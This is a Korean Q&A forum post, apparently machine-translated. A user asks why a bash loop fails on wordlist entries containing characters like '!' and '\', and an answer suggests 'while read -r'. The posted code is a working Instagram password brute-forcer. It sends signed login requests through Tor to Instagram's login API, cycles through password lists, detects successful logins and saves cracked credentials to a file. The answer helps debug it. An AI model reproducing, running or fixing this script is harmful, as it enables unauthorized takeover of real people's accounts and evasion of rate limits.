비슷한 특수문자! # @sed를 사용하여 파일의 다음 줄로 이동하는 데 문제가 있습니다.

비슷한 특수문자! # @sed를 사용하여 파일의 다음 줄로 이동하는 데 문제가 있습니다.

for 루프와 sed를 사용하여 파일의 각 줄을 반복하여 URL로 보내는 이 bash 스크립트를 시도하고 있습니다. tst244 또는 anothersample과 같은 단어를 사용할 때는 스크립트가 제대로 작동하지만 줄에 test-1!@# 또는 example\34143*9와 같은 단어가 포함되어 있으면 작동하지 않습니다.

이것은 내 코드입니다.

 for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do

이것은 문자를 피할 때 얻는 출력입니다(더 명확하게 하기 위해 코드의 인쇄된 부분을 포함하지 않습니다).

Sending (78/100): "01012011"
Sending (79/100): "69696969"
Sending (80/100): "december"
Sending (81/100): "11223344"
Sending (82/100): "godzilla"
Sending (83/100): "airborne"
Sending (84/100): "lifehack"
Sending (85/100): "brooklyn"
Sending (86/100): "platinum"

문자로 출력:

Sending (285/68814): "test&0525"
Sending (286/68814): "test 0079770525"
Sending (287/68814): "test 007"
Sending (288/68814): "test 525"
Sending (289/68814): "TEST007977"
Sending (290/68814): "TeSt0525"
Sending (291/366): "68814"
Sending (test_0079770525/): ""
Sending (292/367): "68814"
Sending (test_007/): ""
Sending (293/368): "68814"
Sending (test_525/): ""

다음 단어를 사용하는 부품의 전체 코드:

while [ $counter -lt $turn ]; do

IFS=$'\n'
for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'

data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
IFS=$'\n'
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'

let counter++
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass

{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9051 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1  ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$  > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid1=$! ; #;wait $!;

let startline+=20
let endline+=20

done

}

코드의 인쇄 부분:

count_pass=$(wc -l $wl_pass | cut -d " " -f1)
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass




답변1

sed 문은 변수를 사용할 때 큰따옴표를 사용하는 것이 바람직하며, bash가 백슬래시를 확장하지 않고 느낌표를 해석하지 못하도록 하려면 다음과 같이 read -r을 사용하도록 변경할 수 있습니다.

while read -r pass do
    #... code here ...
done < <(sed -n "$startline,$endline"'{s/!/\x21/g;p}' "$wl_pass")

루프 내에서 $pass printf또는 를 사용하면 echo -e느낌표가 다시 나타납니다.

관련 정보